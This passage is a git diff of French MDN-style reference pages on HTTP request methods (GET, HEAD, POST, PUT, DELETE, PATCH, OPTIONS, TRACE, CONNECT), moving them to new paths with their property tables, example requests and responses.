La méthode HTTP DELETE supprime la ressource indiquée.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsNon
Une réponse de succès a un corpsNon
{{Glossary("Sûre")}}Non
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
+ +

Syntaxe

+ +
DELETE /file.html HTTP/1.1
+
+ +

Exemple

+ +

Requête

+ +
DELETE /file.html HTTP/1.1
+ +

Réponses

+ +

Si une méthode DELETE est appliquée avec succès, il y a plusieurs codes de statut de réponse possibles :

+ +
    +
  • Un code de statut {{HTTPStatus("202")}} (Accepted) si l'action est en passe de réussir mais n'a pas encore été confirmée.
    • +
  • Un code de statut {{HTTPStatus("204")}} (No Content) si l'action a été confirmée et qu'aucune information supplémentaire n'est à fournir.
    • +
  • Un code de statut {{HTTPStatus("200")}} (OK) si l'action a été confirmée et que le message de réponse inclut une représentation décrivant le statut.
    • +
+ +
HTTP/1.1 200 OK
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+<html>
+  <body>
+    <h1>File deleted.</h1>
+  </body>
+</html>
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "DELETE", "4.3.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ +
    +
  • HTTP status: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}}
    • +
diff --git a/files/fr/web/http/methods/get/index.html b/files/fr/web/http/methods/get/index.html new file mode 100644 index 0000000000..008f479d98 --- /dev/null +++ b/files/fr/web/http/methods/get/index.html @@ -0,0 +1,73 @@ +--- +title: GET +slug: Web/HTTP/Méthode/GET +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/GET +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP GET demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsNon
Une réponse de succès a un corpsOui
{{Glossary("Safe","Sûre")}}Oui
{{Glossary("Idempotent","Idempotente")}}Oui
{{Glossary("Cacheable","Peut être mise en cache")}}Oui
Autorisée dans les formulaires HTMLOui
+ +

Syntaxe

+ +
GET /index.html
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "GET", "4.3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http/methods", "GET")}}

+ +

Voir aussi

+ +
    +
  • {{HTTPHeader("Range")}}
    • +
diff --git a/files/fr/web/http/methods/head/index.html b/files/fr/web/http/methods/head/index.html new file mode 100644 index 0000000000..f89bbdde39 --- /dev/null +++ b/files/fr/web/http/methods/head/index.html @@ -0,0 +1,77 @@ +--- +title: HEAD +slug: Web/HTTP/Méthode/HEAD +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/HEAD +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP HEAD demande les en-têtes qui seraient retournés si la ressource spécifiée était demandée avec une méthode HTTP {{HTTPMethod("GET")}}. Une telle requête peut être envoyée avant de procéder au téléchargement d'une  ressource volumineuse, par exemple pour économiser de la bande passante.

+ +

Une réponse issue d'une requête HEAD ne doit pas avoir de corps. Si tel est le cas, elle doit être ignorée. Toutefois, les {{glossary("En-têtes d'entité", "en-têtes d'entité")}} décrivant le contenu du corps, comme {{HTTPHeader("Content-Length")}}, peuvent être inclus dans la réponse. Ils ne sont pas liés au corps de la réponse HEAD , qui doit être vide, mais au corps d'une réponse issue d'une requête similaire utilisant la méthode {{HTTPMethod("GET")}}.

+ +

Si le résultat d'une requête HEAD montre qu'une ressource mise en cache après une requête {{HTTPMethod("GET")}} est désormais dépassée, le cache est invalidé, même si aucune requête GET n'a été émise.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsNon
Une réponse de succès a un corpsNon
{{Glossary("Sûre")}}Oui
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Oui
Autorisée dans les  formulaires HTMLNon
+ +

Syntaxe

+ +
HEAD /index.html
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "HEAD", "4.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http/methods", "HEAD")}}

+ +

Voir aussi

+ +
    +
  • {{HTTPMethod("GET")}}
    • +
diff --git a/files/fr/web/http/methods/index.html b/files/fr/web/http/methods/index.html new file mode 100644 index 0000000000..25ae456c7c --- /dev/null +++ b/files/fr/web/http/methods/index.html @@ -0,0 +1,73 @@ +--- +title: Méthodes de requête HTTP +slug: Web/HTTP/Méthode +tags: + - HTTP + - Méthodes + - Reference +translation_of: Web/HTTP/Methods +--- +
{{HTTPSidebar}}
+ +

HTTP définit un ensemble de méthodes de requête qui indiquent l'action que l'on souhaite réaliser sur la ressource indiquée. Bien qu'on rencontre également des noms (en anglais), ces méthodes sont souvent appelées verbes HTTP. Chacun d'eux implémente une sémantique différente mais certaines fonctionnalités courantes peuvent être partagées par différentes méthodes (e.g. une méthode de requête peut être sûre (safe), idempotente ou être mise en cache (cacheable)).

+ +
+
GET
+
La méthode GET demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.
+
HEAD
+
La méthode HEAD demande une réponse identique à une requête GET pour laquelle on aura omis le corps de la réponse (on a uniquement l'en-tête).
+
POST
+
La méthode POST est utilisée pour envoyer une entité vers la ressource indiquée. Cela  entraîne généralement un changement d'état ou des effets de bord sur le serveur.
+
PUT
+
+

La méthode PUT remplace toutes les représentations actuelles de la ressource visée par le contenu de la requête.

+
+
DELETE
+
La méthode DELETE supprime la ressource indiquée.
+
CONNECT
+
+

La méthode CONNECT établit un tunnel vers le serveur identifié par la ressource cible.

+
+
OPTIONS
+
La méthode OPTIONS est utilisée pour décrire les options de communications avec la ressource visée.
+
TRACE
+
+

La méthode TRACE réalise un message de test aller/retour en suivant le chemin de la ressource visée.

+
+
PATCH
+
La méthode PATCH est utilisée pour appliquer des modifications partielles à une ressource.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationTitreCommentaires
{{RFC("7231", "Request methods", "4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and ContentDéfinition de GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS et TRACE.
{{RFC("5789", "Patch method", "2")}}PATCH Method for HTTPDéfinition de PATCH.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http/methods")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/methods/options/index.html b/files/fr/web/http/methods/options/index.html new file mode 100644 index 0000000000..ccdd97ef59 --- /dev/null +++ b/files/fr/web/http/methods/options/index.html @@ -0,0 +1,124 @@ +--- +title: OPTIONS +slug: Web/HTTP/Méthode/OPTIONS +translation_of: Web/HTTP/Methods/OPTIONS +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP OPTIONS est utilisée pour décrire les options de communication pour la ressource ciblée. Le client peut renseigner une URL spécifique pour la méthode OPTIONS, ou une astérisque (*) pour interroger le serveur dans sa globalité.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsNon
Une réponse de succès a un corpsOui
{{Glossary("Sûre")}}Oui
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
+ +

 

+ +

Syntaxe

+ +
OPTIONS /index.html HTTP/1.1
+OPTIONS * HTTP/1.1
+
+ +

Examples

+ +

Identifier les méthodes HTTP autorisées

+ +

Pour déterminer les méthodes HTTP supportées par le serveur, on peut utiliser curl et envoyer une requête OPTIONS :

+ +
curl -X OPTIONS http://example.org -i
+ +

La réponse contient un en-tête {{HTTPHeader("Allow")}} qui liste les méthodes autorisées :

+ +
HTTP/1.1 200 OK
+Allow: OPTIONS, GET, HEAD, POST
+Cache-Control: max-age=604800
+Date: Thu, 13 Oct 2016 11:45:00 GMT
+Expires: Thu, 20 Oct 2016 11:45:00 GMT
+Server: EOS (lax004/2813)
+x-ec-custom-error: 1
+Content-Length: 0
+
+ +

Requête de pré-vérification cross-origin CORS

+ +

En CORS, une requête de pré-vérification est envoyée avec la méthode OPTIONS afin que le serveur indique si la requête est acceptable avec les paramètres spécifiés. En tant qu'élément de la requête de pré-vérification, le header {{HTTPHeader("Access-Control-Request-Method")}} notifie le serveur que lorsque la véritable requête sera envoyée, ce sera avec une méthode POST. Le header {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que lorsque la vraie requête sera envoyée, elle aura les en-tête personnalisés X-PINGOTHER et Content-Type. Le serveur a maintenant la possibilité de déterminer s'il souhaite ou non accepter la requête dans les conditions énoncées par la requête de pré-vérification.

+ +
OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+ +

Dans la réponse du serveur, l'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique que les méthodes POST, GET, and OPTIONS sont utilisables pour interroger la ressource.  Cet en-tête est similaire à {{HTTPHeader("Allow")}}, mais utilisé uniquement dans le contexte CORS.

+ +
HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+ +

Spécifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "OPTIONS", "4.3.7")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http.methods.OPTIONS")}}

+ +

Voir aussi

+ +
    +
  • en-tête {{HTTPHeader("Allow")}}
    • +
  • CORS
    • +
diff --git a/files/fr/web/http/methods/patch/index.html b/files/fr/web/http/methods/patch/index.html new file mode 100644 index 0000000000..aca3dfe6d4 --- /dev/null +++ b/files/fr/web/http/methods/patch/index.html @@ -0,0 +1,89 @@ +--- +title: PATCH +slug: Web/HTTP/Méthode/PATCH +translation_of: Web/HTTP/Methods/PATCH +--- +

La méthode PATCH d'une requête HTTP applique des modifications partielles à une ressource.

+ +

La méthode HTTP {{HTTPMethod("PUT")}} est déjà définie pour écraser une ressource avec un nouveau corps complet de message, et pour la méthode HTTP {{HTTPMethod("POST")}}, il n'existe aucun moyen standard pour découvrir le support de format de patch. Tout comme POST, la méthode HTTP PATCH n'est pas listée comme étant idempotent, contrairement à PUT. Cela signifie que les requêtes patch identiques et successives auront des effets différents sur l'objet manipulé.

+ +

Pour découvrir si un serveur supporte la méthode PATCH, un serveur peut annoncer son support en l'ajoutant à la liste des méthodes autorisées dans les headers de la réponse {{HTTPHeader ("Allow")}} ou encore {{HTTPHeader ("Access-Control-Allow-Methods")}} (pour CORS).

+ +

Une autre indication (implicite) que la méthode PATCH est autorisée est la présence du header {{HTTPHeader("Accept-Patch")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête possède un corps de message (body)Oui
Une requête traitée avec succès retourne une réponse avec un corps de message (body)Non
{{Glossary("Safe")}}Non
{{Glossary("Idempotent")}}Non
{{Glossary("Cacheable")}}Non
Utilisation au sein des formulaires HTMLNon
+ +

Syntaxe

+ +
PATCH /file.txt HTTP/1.1
+
+ +

Exemple

+ +

Requête

+ +
PATCH /file.txt HTTP/1.1
+Host: www.example.com
+Content-Type: application/example
+If-Match: "e0023aa4e"
+Content-Length: 100
+
+[description des changements]
+ +

Réponse

+ +

Une requête traitée avec succès retourne une réponse accompagnée d'un code de réponse {{HTTPStatus("204")}}. Dans ce cas-ci, la réponse ne contient un corps de message.

+ +
HTTP/1.1 204 No Content
+Content-Location: /file.txt
+ETag: "e0023aa4f"
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("5789", "PATCH")}}Méthode PATCH pour HTTP (PATCH Method for HTTP)
+ +

Voir aussi

+ +
    +
  • {{HTTPStatus("204")}}
    • +
  • {{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}
    • +
  • {{HTTPHeader("Accept-Patch")}} – spécifie les formats de document de patch acceptés par le serveur.
    • +
diff --git a/files/fr/web/http/methods/post/index.html b/files/fr/web/http/methods/post/index.html new file mode 100644 index 0000000000..e534246de7 --- /dev/null +++ b/files/fr/web/http/methods/post/index.html @@ -0,0 +1,119 @@ +--- +title: POST +slug: Web/HTTP/Méthode/POST +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/POST +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP POST envoie des données au serveur. Le type du corps de la requête est indiqué par l'en-tête {{HTTPHeader("Content-Type")}}.

+ +

La différence entre PUT et {{HTTPMethod("POST")}} tient au fait que PUT est une méthode idempotente. Une requête PUT, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet de bord). À l'inverse, des requêtes POST successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.

+ +

Une requête POST est habituellement envoyée via un formulaire HTML et a pour résultat un changement sur le serveur. Dans ce cas, le type du contenu est sélectionné en mettant la chaîne de caractères adéquate dans l'attribut {{htmlattrxref("enctype", "form")}} de l'élément {{HTMLElement("form")}} ou dans l'attribut {{htmlattrxref("formenctype", "input")}} de l'élément {{HTMLElement("input") }}, voir celui des éléments {{HTMLElement("button")}} :

+ +
    +
  • application/x-www-form-urlencoded : les valeurs sont encodées sous forme de couples clé-valeur séparés par '&', avec un '=' entre la clé et la valeur. Les caractères non alphanumériques sont {{glossary("percent encoded")}} : c'est la raison pour laquelle ce type de format n'est pas adapté à une utilisation avec des données binaires  (utilisez multipart/form-data à la place)
    • +
  • multipart/form-data
    • +
  • text/plain
    • +
+ +

Lorsque la requête POST est envoyée par un autre moyen qu'un formulaire HTML, par exemple via {{domxref("XMLHttpRequest")}}, le corps peut être de n'importe quel type. Comme décrit dans la spécification HTTP 1.1, la méthode POST est conçue pour permettre une méthode uniforme couvrant les fonctions suivantes :

+ +
    +
  • Annotation de ressources existantes
    • +
  • Publication d'un message sur un tableau d'affichage, un groupe de discussion, une liste de diffusion, ou un groupe similaire d'articles;
    • +
  • Apport d'un bloc de données, tel que le résultat produit par la soumission d'un formulaire, à un processus de traitement de données;
    • +
  • Extension d'une base de données au travers d'une opération d'ajout.
    • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsOui
Une réponse inclut un corpsOui
{{Glossary("Safe","Sûre")}}Non
{{Glossary("Idempotent","Idempotente")}}Non
{{Glossary("Cacheable","Peut être mise en cache")}}Seulement si une information de péremption est incluse
Autorisée dans les  formulaires HTMLOui
+ +

Syntaxe

+ +
POST /index.html
+
+ +

Exemple

+ +

Un formulaire simple utilisant le type de contenu par défaut application/x-www-form-urlencoded :

+ +
POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&to=Mom
+ +

Un formulaire utilisant le type de contenu multipart/form-data :

+ +
POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "POST", "4.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http.methods.POST")}}

+ +

Voir aussi

+ +
    +
  • {{HTTPHeader("Content-Type")}}
    • +
  • {{HTTPHeader("Content-Disposition")}}
    • +
diff --git a/files/fr/web/http/methods/put/index.html b/files/fr/web/http/methods/put/index.html new file mode 100644 index 0000000000..d6e7dbeeb7 --- /dev/null +++ b/files/fr/web/http/methods/put/index.html @@ -0,0 +1,95 @@ +--- +title: PUT +slug: Web/HTTP/Méthode/PUT +tags: + - HTTP + - HTTP method + - Reference + - Request method +translation_of: Web/HTTP/Methods/PUT +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP PUT crée une nouvelle ressource ou remplace une représentation de la ressource ciblée par le contenu de la requête.

+ +

La différence entre PUT et POST tient au fait que PUT est une méthode idempotente. Une requête PUT, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet de bord). À l'inverse, des requêtes POST successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsOui
Une réponse de succès a un corpsNon
{{Glossary("Sûre")}}Non
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
+ +

Syntaxe

+ +
PUT /new.html HTTP/1.1
+
+ +

Exemple

+ +

Requête

+ +
PUT /new.html HTTP/1.1
+Host: example.com
+Content-type: text/html
+Content-length: 16
+
+<p>New File</p>
+ +

Réponses

+ +

Si la ressource ciblée ne possède pas de représentation courante et que la requête PUT en crée une avec succès, alors le serveur d'origine doit informer l'agent utilisateur en envoyant une réponse{{HTTPStatus("201")}} (Created).

+ +
HTTP/1.1 201 Created
+Content-Location: /new.html
+ +

Si la ressource ciblée a déjà une représentation et que cette représentation est modifiée avec succès, conformément à l'état de la représentation jointe, alors le serveur d'origine doit envoyer une réponse, que ce soit {{HTTPStatus("200")}} (OK) ou {{HTTPStatus("204")}} (No Content), pour indiquer la réussite de la requête.

+ +
HTTP/1.1 204 No Content
+Content-Location: /existing.html
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "PUT", "4.3.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ +
    +
  • {{HTTPStatus("201")}}
    • +
  • {{HTTPStatus("204")}}
    • +
diff --git a/files/fr/web/http/methods/trace/index.html b/files/fr/web/http/methods/trace/index.html new file mode 100644 index 0000000000..cc58e561ca --- /dev/null +++ b/files/fr/web/http/methods/trace/index.html @@ -0,0 +1,77 @@ +--- +title: TRACE +slug: Web/HTTP/Méthode/TRACE +tags: + - HTTP + - Reference + - requête +translation_of: Web/HTTP/Methods/TRACE +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP TRACE effectue un test de rebouclage des messages le long du chemin vers la ressource cible, fournissant ainsi un mécanisme de débogage utile.

+ +

Le destinataire final de la demande doit renvoyer au client le message reçu, à l'exclusion de certains champs décrits ci-dessous, en tant que corps de message d'une réponse {{HTTPStatus("200")}}. (OK) avec un {{HTTPHeader("Content-Type")}} de message/http. Le destinataire final est soit le serveur d'origine, soit le premier serveur à recevoir une valeur {{HTTPHeader("Max-Forwards")}} de 0 dans la requête.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La demande a un corpsNon
Une réponse réussie a un corpsNon
{{Glossary("Safe")}}Non
{{Glossary("Idempotent")}}Oui
{{Glossary("Cacheable")}}Non
Autorisé dans les formulaires HTMLNon
+ +

Syntaxe

+ +
TRACE /index.html
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "TRACE", "4.3.8")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http.methods.TRACE")}}

+ +

Voir également

+ + diff --git "a/files/fr/web/http/m\303\251thode/connect/index.html" "b/files/fr/web/http/m\303\251thode/connect/index.html" deleted file mode 100644 index 62b1ee7d6c..0000000000 --- "a/files/fr/web/http/m\303\251thode/connect/index.html" +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: CONNECT -slug: Web/HTTP/Méthode/CONNECT -tags: - - HTTP - - Reference - - Request method -translation_of: Web/HTTP/Methods/CONNECT ---- -
{{HTTPSidebar}}
- -

La méthode HTTP CONNECT crée une communication bidirectionnelle avec la ressource demandée. Elle peut être utilisée pour ouvrir un tunnel.

- -

Par exemple, la méthode CONNECT peut être utilisée pour accéder à des sites web qui utilisent {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). Le client demande à un serveur Proxy HTTP de créer un tunnel TCP vers la destination désirée. Le serveur poursuit alors afin d'établir la connexion pour le compte du client. Une fois que la connexion a été établie par le serveur, le serveur Proxy continue de gérer le flux TCP à destination et en provenance du client.

- -

CONNECT est une méthode "saut-par-saut".

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsOui
Une réponse de succès a un corpsOui
{{Glossary("Sûre")}}Non
{{Glossary("Idempotente")}}Non
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
- -

Syntaxe

- -
CONNECT www.example.com:443 HTTP/1.1
-
- -

Exemple

- -

Certains serveurs proxy pourraient avoir besoin d'une autorisation pour créer un tunnel. Voir aussi l'en-tête {{HTTPHeader("Proxy-Authorization")}}.

- -
CONNECT server.example.com:80 HTTP/1.1
-Host: server.example.com:80
-Proxy-Authorization: basic aGVsbG86d29ybGQ=
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "CONNECT", "4.3.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- - - -

{{Compat("http/methods", "CONNECT")}}

- -

Voir aussi

- -
    -
  • {{Glossary("Proxy server")}}
    • -
  • {{HTTPHeader("Proxy-Authorization")}}
    • -
diff --git "a/files/fr/web/http/m\303\251thode/delete/index.html" "b/files/fr/web/http/m\303\251thode/delete/index.html" deleted file mode 100644 index d2a40a8ea9..0000000000 --- "a/files/fr/web/http/m\303\251thode/delete/index.html" +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: DELETE -slug: Web/HTTP/Méthode/DELETE -tags: - - HTTP - - HTTP method - - Reference - - Request method -translation_of: Web/HTTP/Methods/DELETE ---- -
{{HTTPSidebar}}
- -

La méthode HTTP DELETE supprime la ressource indiquée.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsNon
Une réponse de succès a un corpsNon
{{Glossary("Sûre")}}Non
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
- -

Syntaxe

- -
DELETE /file.html HTTP/1.1
-
- -

Exemple

- -

Requête

- -
DELETE /file.html HTTP/1.1
- -

Réponses

- -

Si une méthode DELETE est appliquée avec succès, il y a plusieurs codes de statut de réponse possibles :

- -
    -
  • Un code de statut {{HTTPStatus("202")}} (Accepted) si l'action est en passe de réussir mais n'a pas encore été confirmée.
    • -
  • Un code de statut {{HTTPStatus("204")}} (No Content) si l'action a été confirmée et qu'aucune information supplémentaire n'est à fournir.
    • -
  • Un code de statut {{HTTPStatus("200")}} (OK) si l'action a été confirmée et que le message de réponse inclut une représentation décrivant le statut.
    • -
- -
HTTP/1.1 200 OK
-Date: Wed, 21 Oct 2015 07:28:00 GMT
-
-<html>
-  <body>
-    <h1>File deleted.</h1>
-  </body>
-</html>
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "DELETE", "4.3.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- -
    -
  • HTTP status: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}}
    • -
diff --git "a/files/fr/web/http/m\303\251thode/get/index.html" "b/files/fr/web/http/m\303\251thode/get/index.html" deleted file mode 100644 index 008f479d98..0000000000 --- "a/files/fr/web/http/m\303\251thode/get/index.html" +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: GET -slug: Web/HTTP/Méthode/GET -tags: - - HTTP - - Reference - - Request method -translation_of: Web/HTTP/Methods/GET ---- -
{{HTTPSidebar}}
- -

La méthode HTTP GET demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsNon
Une réponse de succès a un corpsOui
{{Glossary("Safe","Sûre")}}Oui
{{Glossary("Idempotent","Idempotente")}}Oui
{{Glossary("Cacheable","Peut être mise en cache")}}Oui
Autorisée dans les formulaires HTMLOui
- -

Syntaxe

- -
GET /index.html
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "GET", "4.3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- - - -

{{Compat("http/methods", "GET")}}

- -

Voir aussi

- -
    -
  • {{HTTPHeader("Range")}}
    • -
diff --git "a/files/fr/web/http/m\303\251thode/head/index.html" "b/files/fr/web/http/m\303\251thode/head/index.html" deleted file mode 100644 index f89bbdde39..0000000000 --- "a/files/fr/web/http/m\303\251thode/head/index.html" +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: HEAD -slug: Web/HTTP/Méthode/HEAD -tags: - - HTTP - - Reference - - Request method -translation_of: Web/HTTP/Methods/HEAD ---- -
{{HTTPSidebar}}
- -

La méthode HTTP HEAD demande les en-têtes qui seraient retournés si la ressource spécifiée était demandée avec une méthode HTTP {{HTTPMethod("GET")}}. Une telle requête peut être envoyée avant de procéder au téléchargement d'une  ressource volumineuse, par exemple pour économiser de la bande passante.

- -

Une réponse issue d'une requête HEAD ne doit pas avoir de corps. Si tel est le cas, elle doit être ignorée. Toutefois, les {{glossary("En-têtes d'entité", "en-têtes d'entité")}} décrivant le contenu du corps, comme {{HTTPHeader("Content-Length")}}, peuvent être inclus dans la réponse. Ils ne sont pas liés au corps de la réponse HEAD , qui doit être vide, mais au corps d'une réponse issue d'une requête similaire utilisant la méthode {{HTTPMethod("GET")}}.

- -

Si le résultat d'une requête HEAD montre qu'une ressource mise en cache après une requête {{HTTPMethod("GET")}} est désormais dépassée, le cache est invalidé, même si aucune requête GET n'a été émise.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsNon
Une réponse de succès a un corpsNon
{{Glossary("Sûre")}}Oui
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Oui
Autorisée dans les  formulaires HTMLNon
- -

Syntaxe

- -
HEAD /index.html
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "HEAD", "4.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- - - -

{{Compat("http/methods", "HEAD")}}

- -

Voir aussi

- -
    -
  • {{HTTPMethod("GET")}}
    • -
diff --git "a/files/fr/web/http/m\303\251thode/index.html" "b/files/fr/web/http/m\303\251thode/index.html" deleted file mode 100644 index 25ae456c7c..0000000000 --- "a/files/fr/web/http/m\303\251thode/index.html" +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Méthodes de requête HTTP -slug: Web/HTTP/Méthode -tags: - - HTTP - - Méthodes - - Reference -translation_of: Web/HTTP/Methods ---- -
{{HTTPSidebar}}
- -

HTTP définit un ensemble de méthodes de requête qui indiquent l'action que l'on souhaite réaliser sur la ressource indiquée. Bien qu'on rencontre également des noms (en anglais), ces méthodes sont souvent appelées verbes HTTP. Chacun d'eux implémente une sémantique différente mais certaines fonctionnalités courantes peuvent être partagées par différentes méthodes (e.g. une méthode de requête peut être sûre (safe), idempotente ou être mise en cache (cacheable)).

- -
-
GET
-
La méthode GET demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.
-
HEAD
-
La méthode HEAD demande une réponse identique à une requête GET pour laquelle on aura omis le corps de la réponse (on a uniquement l'en-tête).
-
POST
-
La méthode POST est utilisée pour envoyer une entité vers la ressource indiquée. Cela  entraîne généralement un changement d'état ou des effets de bord sur le serveur.
-
PUT
-
-

La méthode PUT remplace toutes les représentations actuelles de la ressource visée par le contenu de la requête.

-
-
DELETE
-
La méthode DELETE supprime la ressource indiquée.
-
CONNECT
-
-

La méthode CONNECT établit un tunnel vers le serveur identifié par la ressource cible.

-
-
OPTIONS
-
La méthode OPTIONS est utilisée pour décrire les options de communications avec la ressource visée.
-
TRACE
-
-

La méthode TRACE réalise un message de test aller/retour en suivant le chemin de la ressource visée.

-
-
PATCH
-
La méthode PATCH est utilisée pour appliquer des modifications partielles à une ressource.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationTitreCommentaires
{{RFC("7231", "Request methods", "4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and ContentDéfinition de GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS et TRACE.
{{RFC("5789", "Patch method", "2")}}PATCH Method for HTTPDéfinition de PATCH.
- -

Compatibilité des navigateurs

- - - -

{{Compat("http/methods")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/http/m\303\251thode/options/index.html" "b/files/fr/web/http/m\303\251thode/options/index.html" deleted file mode 100644 index ccdd97ef59..0000000000 --- "a/files/fr/web/http/m\303\251thode/options/index.html" +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: OPTIONS -slug: Web/HTTP/Méthode/OPTIONS -translation_of: Web/HTTP/Methods/OPTIONS ---- -
